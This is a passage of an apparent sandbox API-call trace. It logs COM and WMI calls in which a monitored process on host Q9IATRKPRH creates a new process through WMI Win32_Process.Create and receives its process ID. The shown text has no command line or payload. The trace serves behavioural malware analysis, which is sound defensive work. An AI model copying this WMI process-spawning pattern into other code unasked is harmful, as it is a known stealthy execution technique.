[7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0131.111] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0131.111] IUnknown:QueryInterface (in: This=0x1bb93760, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0131.111] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0131.111] IUnknown:AddRef (This=0x1bb93760) returned 0x3 [0131.112] IWbemClassObject:Put (This=0x1bbcc8b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bb93760, varVal2=0x0), Type=0) returned 0x0 [0131.112] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbece0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0131.112] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbece0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0131.112] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbece0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0131.112] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c150, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0131.112] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0131.112] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.112] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbece0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0131.112] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbece0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0131.112] IWbemServices:ExecMethod (in: This=0x1bbaaf90, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bbcc8b0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bbce3a0, ppCallResult=0x0) returned 0x0 [0131.207] IWbemClassObject:Get (in: This=0x1bbce3a0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e5fe8*=0, plFlavor=0x27e5fec*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xeec, varVal2=0x0), pType=0x27e5fe8*=19, plFlavor=0x27e5fec*=0) returned 0x0 [0131.208] IWbemClassObject:Get (in: This=0x1bbce3a0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e5fe8*=19, plFlavor=0x27e5fec*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xeec, varVal2=0x0), pType=0x27e5fe8*=19, plFlavor=0x27e5fec*=0) returned 0x0 [0131.208] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0131.208] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0131.209] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0131.209] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.211] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbbe6c0) returned 0x0 [0131.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe6c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0131.211] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe6c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbbf160) returned 0x0 [0131.211] WbemDefPath:IUnknown:Release (This=0x1bbbe6c0) returned 0x0 [0131.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbbf160) returned 0x0 [0131.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0131.212] WbemDefPath:IUnknown:AddRef (This=0x1bbbf160) returned 0x3 [0131.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0131.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0131.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbbe700) returned 0x0 [0131.212] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe700, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.212] WbemDefPath:IUnknown:Release (This=0x1bbbe700) returned 0x3 [0131.212] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0131.212] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0131.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0131.212] WbemDefPath:IUnknown:Release (This=0x1bbbf160) returned 0x2 [0131.212] WbemDefPath:IUnknown:Release (This=0x1bbbf160) returned 0x1 [0131.212] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0131.212] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0131.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbbf160) returned 0x0 [0131.212] WbemDefPath:IUnknown:AddRef (This=0x1bbbf160) returned 0x3 [0131.212] WbemDefPath:IUnknown:Release (This=0x1bbbf160) returned 0x2 [0131.212] WbemDefPath:IWbemPath:SetText (This=0x1bbbf160, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0131.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf160, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0131.213] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf160, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0131.213] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf160, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0131.213] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf160, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0131.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf160, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0131.213] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf160, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0131.213] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0131.213] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0131.213] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0131.213] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.215] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbbe740) returned 0x0 [0131.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe740, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0131.215] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe740, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbbf220) returned 0x0 [0131.215] WbemDefPath:IUnknown:Release (This=0x1bbbe740) returned 0x0 [0131.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbbf220) returned 0x0 [0131.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0131.216] WbemDefPath:IUnknown:AddRef (This=0x1bbbf220) returned 0x3 [0131.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0131.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0131.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbbe780) returned 0x0 [0131.216] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe780, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.216] WbemDefPath:IUnknown:Release (This=0x1bbbe780) returned 0x3 [0131.216] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0131.216] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0131.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0131.216] WbemDefPath:IUnknown:Release (This=0x1bbbf220) returned 0x2 [0131.216] WbemDefPath:IUnknown:Release (This=0x1bbbf220) returned 0x1 [0131.217] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0131.217] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0131.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbbf220) returned 0x0 [0131.217] WbemDefPath:IUnknown:AddRef (This=0x1bbbf220) returned 0x3 [0131.217] WbemDefPath:IUnknown:Release (This=0x1bbbf220) returned 0x2 [0131.217] WbemDefPath:IWbemPath:SetText (This=0x1bbbf220, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0131.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf220, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0131.217] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0131.217] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0131.217] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf220, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0131.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf220, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0131.217] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf220, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0131.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf220, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0131.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0131.217] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0131.217] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.217] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0131.217] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0131.217] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0131.217] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.220] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bbbe7c0) returned 0x0 [0131.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe7c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0131.220] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe7c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bbbf2e0) returned 0x0 [0131.220] WbemDefPath:IUnknown:Release (This=0x1bbbe7c0) returned 0x0 [0131.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bbbf2e0) returned 0x0 [0131.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0131.220] WbemDefPath:IUnknown:AddRef (This=0x1bbbf2e0) returned 0x3 [0131.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0131.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0131.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bbbe800) returned 0x0 [0131.221] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe800, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.221] WbemDefPath:IUnknown:Release (This=0x1bbbe800) returned 0x3 [0131.221] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0131.221] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0131.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0131.221] WbemDefPath:IUnknown:Release (This=0x1bbbf2e0) returned 0x2 [0131.221] WbemDefPath:IUnknown:Release (This=0x1bbbf2e0) returned 0x1 [0131.221] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0131.221] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0131.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bbbf2e0) returned 0x0 [0131.221] WbemDefPath:IUnknown:AddRef (This=0x1bbbf2e0) returned 0x3 [0131.221] WbemDefPath:IUnknown:Release (This=0x1bbbf2e0) returned 0x2 [0131.221] WbemDefPath:IWbemPath:SetText (This=0x1bbbf2e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0131.221] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf2e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0131.221] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf2e0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0131.222] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf2e0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.222] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0131.222] 